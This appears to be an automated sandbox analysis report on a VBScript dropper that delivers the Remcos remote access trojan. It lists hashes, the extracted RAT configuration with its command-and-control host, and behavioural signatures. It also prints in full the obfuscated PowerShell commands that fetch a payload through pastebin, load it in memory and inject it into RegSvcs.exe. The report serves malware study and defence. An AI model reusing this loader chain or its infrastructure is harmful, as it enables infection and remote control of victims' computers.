Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
07-06-2024 09:16
Static task
static1
Behavioral task
behavioral1
Sample
sostener.vbs
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
sostener.vbs
Resource
win10v2004-20240508-en
General
-
Target
sostener.vbs
-
Size
1.8MB
-
MD5
f7d37d2cef66cbbefcc48668c18a1fb1
-
SHA1
cb1dd42e8ce1298c61abdd6ee7c33e506b716aed
-
SHA256
ee70bac37164bfea88a53013f439328eece11c224dc4f7f09f79fba14a817175
-
SHA512
18977a9485aa4412db236ee0d2e69fafa9a0725d610a245e9a0cfeabbccbc554fb9d7e98d2a528911ed661eb78e99ea760cb5b328fa825fb478851b136c74fbc
-
SSDEEP
768:ufdk9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9E9S:ufdy
Malware Config
Extracted
https://pastebin.com/raw/V9y5Q5vv
Extracted
remcos
RemoteHost
remcoss2024feb.duckdns.org:4576
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-0EVXPH
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 9 2364 powershell.exe 15 2364 powershell.exe 19 2364 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation WScript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 8 pastebin.com 9 pastebin.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2364 set thread context of 4028 2364 powershell.exe 87 -
pid Process 1112 powershell.exe 2364 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1112 powershell.exe 1112 powershell.exe 2364 powershell.exe 2364 powershell.exe 2364 powershell.exe 2364 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1112 powershell.exe Token: SeDebugPrivilege 2364 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4028 RegSvcs.exe -
Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 5116 wrote to memory of 1112 5116 WScript.exe 81 PID 5116 wrote to memory of 1112 5116 WScript.exe 81 PID 1112 wrote to memory of 2364 1112 powershell.exe 83 PID 1112 wrote to memory of 2364 1112 powershell.exe 83 PID 2364 wrote to memory of 3888 2364 powershell.exe 86 PID 2364 wrote to memory of 3888 2364 powershell.exe 86 PID 2364 wrote to memory of 3888 2364 powershell.exe 86 PID 2364 wrote to memory of 4028 2364 powershell.exe 87 PID 2364 wrote to memory of 4028 2364 powershell.exe 87 PID 2364 wrote to memory of 4028 2364 powershell.exe 87 PID 2364 wrote to memory of 4028 2364 powershell.exe 87 PID 2364 wrote to memory of 4028 2364 powershell.exe 87 PID 2364 wrote to memory of 4028 2364 powershell.exe 87 PID 2364 wrote to memory of 4028 2364 powershell.exe 87 PID 2364 wrote to memory of 4028 2364 powershell.exe 87 PID 2364 wrote to memory of 4028 2364 powershell.exe 87 PID 2364 wrote to memory of 4028 2364 powershell.exe 87 PID 2364 wrote to memory of 4028 2364 powershell.exe 87 PID 2364 wrote to memory of 4028 2364 powershell.exe 87
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5116 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $MkplqW = 'J☼Bi☼GI☼cwBl☼HM☼I☼☼9☼C☼☼Jw☼w☼Cc☼Ow☼k☼Go☼e☼Bt☼Go☼ag☼g☼D0☼I☼☼n☼CU☼c☼B6☼EE☼YwBP☼Gc☼SQBu☼E0☼cg☼l☼Cc☼OwBb☼EI☼eQB0☼GU☼WwBd☼F0☼I☼☼k☼G8☼awBk☼Hk☼dg☼g☼D0☼I☼Bb☼HM☼eQBz☼HQ☼ZQBt☼C4☼QwBv☼G4☼dgBl☼HI☼d☼Bd☼Do☼OgBG☼HI☼bwBt☼EI☼YQBz☼GU☼Ng☼0☼FM☼d☼By☼Gk☼bgBn☼Cg☼I☼☼o☼E4☼ZQB3☼C0☼TwBi☼Go☼ZQBj☼HQ☼I☼BO☼GU☼d☼☼u☼Fc☼ZQBi☼EM☼b☼Bp☼GU☼bgB0☼Ck☼LgBE☼G8☼dwBu☼Gw☼bwBh☼GQ☼UwB0☼HI☼aQBu☼Gc☼K☼☼g☼Cg☼TgBl☼Hc☼LQBP☼GI☼agBl☼GM☼d☼☼g☼E4☼ZQB0☼C4☼VwBl☼GI☼QwBs☼Gk☼ZQBu☼HQ☼KQ☼u☼EQ☼bwB3☼G4☼b☼Bv☼GE☼Z☼BT☼HQ☼cgBp☼G4☼Zw☼o☼Cc☼a☼B0☼HQ☼c☼Bz☼Do☼Lw☼v☼H☼☼YQBz☼HQ☼ZQBi☼Gk☼bg☼u☼GM☼bwBt☼C8☼cgBh☼Hc☼LwBW☼Dk☼eQ☼1☼FE☼NQB2☼HY☼Jw☼p☼C☼☼KQ☼g☼Ck☼OwBb☼HM☼eQBz☼HQ☼ZQBt☼C4☼QQBw☼H☼☼R☼Bv☼G0☼YQBp☼G4☼XQ☼6☼Do☼QwB1☼HI☼cgBl☼G4☼d☼BE☼G8☼bQBh☼Gk☼bg☼u☼Ew☼bwBh☼GQ☼K☼☼k☼G8☼awBk☼Hk☼dg☼p☼C4☼RwBl☼HQ☼V☼B5☼H☼☼ZQ☼o☼Cc☼QwBs☼GE☼cwBz☼Ew☼aQBi☼HI☼YQBy☼Hk☼Mw☼u☼EM☼b☼Bh☼HM☼cw☼x☼Cc☼KQ☼u☼Ec☼ZQB0☼E0☼ZQB0☼Gg☼bwBk☼Cg☼JwBN☼HM☼cQBC☼Ek☼YgBZ☼Cc☼KQ☼u☼Ek☼bgB2☼G8☼awBl☼Cg☼J☼Bu☼HU☼b☼Bs☼Cw☼I☼Bb☼G8☼YgBq☼GU☼YwB0☼Fs☼XQBd☼C☼☼K☼☼n☼D☼☼LwBX☼Ho☼O☼BG☼Gg☼LwBk☼C8☼ZQBl☼C4☼ZQB0☼HM☼YQBw☼C8☼Lw☼6☼HM☼c☼B0☼HQ☼a☼☼n☼C☼☼L☼☼g☼CQ☼agB4☼G0☼agBq☼C☼☼L☼☼g☼Cc☼XwBf☼F8☼XwBf☼F8☼d☼By☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼Xw☼t☼C0☼LQ☼t☼C0☼LQ☼t☼Cc☼L☼☼g☼CQ☼YgBi☼HM☼ZQBz☼Cw☼I☼☼n☼DE☼Jw☼s☼C☼☼JwBS☼G8☼Z☼Bh☼Cc☼I☼☼p☼Ck☼Ow☼=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $MkplqW.replace('☼','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell -command $KByHL;2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1112 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$bbses = '0';$jxmjj = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[Byte[]] $okdyv = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($okdyv).GetType('ClassLibrary3.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/Wz8Fh/d/ee.etsap//:sptth' , $jxmjj , '______tr______________________________________-------', $bbses, '1', 'Roda' ));"3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵PID:3888
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"4⤵
- Suspicious use of SetWindowsHookEx
PID:4028
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
144B
MD5fecaaab85b0897cc3102ddfd3039e140
SHA180d4a8588a9bba4efa72351cc1f336fab69a3536
SHA25609ebe9986f55a5848e858e9dcbcef5cf19f59d694827d4d6b162f21e2f0892d4
SHA512234438d6dd274f55823f85139c7ece0d1a829f9dc355451c61f80fa1dc81359ac74123e5ba0a1a3a08856cbf955d69bb4f2b6995fabf9643f79ef042e8ecd890
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82